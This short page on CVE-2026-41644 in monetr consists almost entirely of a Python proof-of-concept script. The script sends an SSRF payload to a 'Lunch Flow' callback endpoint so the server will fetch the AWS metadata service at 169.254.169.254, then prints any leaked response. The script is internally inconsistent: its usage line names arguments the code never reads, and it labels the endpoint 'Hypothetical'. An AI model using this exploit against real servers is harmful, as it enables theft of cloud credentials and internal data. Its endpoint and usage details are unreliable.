CVE-2026-41644 monetr SSRF漏洞

import requests # Exploit Title: monetr SSRF PoC (CVE-2026-41644) # Description: Sends a malicious request to trigger SSRF via Lunch Flow integration # Usage: python3 poc.py <target_url> <attacker_url> target_url = "http://localhost:8080/api/lunch/flow/callback" # Hypothetical endpoint malicious_url = "http://169.254.169.254/latest/meta-data/" # Example AWS Metadata auth_token = "Bearer YOUR_SESSION_TOKEN" headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Payload attempting to force server-side request payload = { "url": malicious_url, "token": "test" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) print(f"[+] Status: {response.status_code}") print(f"[+] Response: {response.text}") # Check if the internal response is leaked in the error message except Exception as e: print(f"[-] Error: {e}")